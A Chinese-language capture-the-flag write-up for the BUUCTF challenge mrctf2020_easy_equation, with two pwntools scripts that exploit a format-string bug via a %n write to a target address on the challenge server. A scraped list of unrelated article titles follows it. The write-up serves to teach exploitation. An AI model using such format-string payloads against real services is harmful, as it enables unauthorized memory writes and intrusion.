这道题是个相对简单的格式化字符串的题目, 但是做题过程中需要自己的一些debug调试查看;




计算偏移量


初看偏移量是8;

构建初始payload,EXP;payload="aa%8$n"+p64(judge)

from pwn import*
context.log_level='debug'
p=remote('node3.buuoj.cn',27636)
judge=0x60105c
payload="aa%8$n"+p64(judge)
p.sendline(payload)
p.interactive()

由于64位传参,可能存在被/x00截断的情况,

所以偏移这里是9

payload="aa%9$nAAA"+p64(judge)

from pwn import*
context.log_level='debug'
p=remote('node3.buuoj.cn',27636)
judge=0x60105c
payload="aa%9$nAAA"+p64(judge)
p.sendline(payload)
p.interactive()

AAA用来补站位;

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置

BUUCTF(pwn)mrctf2020_easy_equation相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. BUUCTF pwn wp 76 - 80

    cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

最新文章

  1. android内存加载dex,安卓8.1版本dex加载流程笔记--第一篇:oatfile,oatdexfile与dexfile...
  2. 游戏安全资讯精选 2017年第十期 英国彩票网遭遇DDoS攻击,中断90分钟 DNSMASQ多高危漏洞公告 阿里云协助警方破获国内最大黑客攻击案,攻击峰值690G...
  3. ubuntu 14.04 安装Java JDK
  4. make -j32 21 | tee show.log
  5. 【牛客 - 302哈尔滨理工大学软件与微电子学院第八届程序设计竞赛同步赛(低年级)】 小乐乐算数字(水题,快速幂,lowbit)
  6. 在线涂鸦画板小程序源码
  7. 洛谷——P1706 全排列问题
  8. mysql字符串结束符_mysql常见字符串处理函数结束
  9. 算法导论 练习12.1
  10. 计蒜客NOIP2017提高组模拟赛(三)day2-小区划分
  11. Yii 2.0 权威指南(3) 使用数据库
  12. HDU 2188 (巴什博弈)
  13. IPTV云端桌面APP软件+后台管理系统
  14. node项目报错had too many unstable restarts (16). Stopped. “errored”
  15. Ubuntu升级Ruby
  16. Python制作一个简单的图片文字提取+PDF转WORD的软件
  17. 996工作制,还要抽时间提升自己吗?
  18. 基于android studio真机连接本地服务器(Apache)详细流程
  19. java中线程池的实现原理:七参、四策
  20. GPS与compass对比

热门文章

  1. PHP快速入门教程:for循环
  2. 金融领域下的数据挖掘算法应用:智能推荐算法模型
  3. Spring Cloud【使用jenkins持续部署】Gogs+jenkins+Docker Swarm+Protainer
  4. 洛谷P2866 [USACO06NOV]糟糕的一天Bad Hair Day(单调栈)
  5. 详解使用fastboot为Android刷入原厂镜像
  6. 外部排序---置换选择+败者树
  7. 使用Android SDK Manager下载sdk时总是出现中断异常的解决办法。
  8. 【Vegas原创】获取远程数据库到本地
  9. Windows Phone 7 程序菜单栏ApplicationBar
  10. cloud自动发卡平台cloudfaka_科亚k-cloud智能控制系统解决方案助力配混改性工厂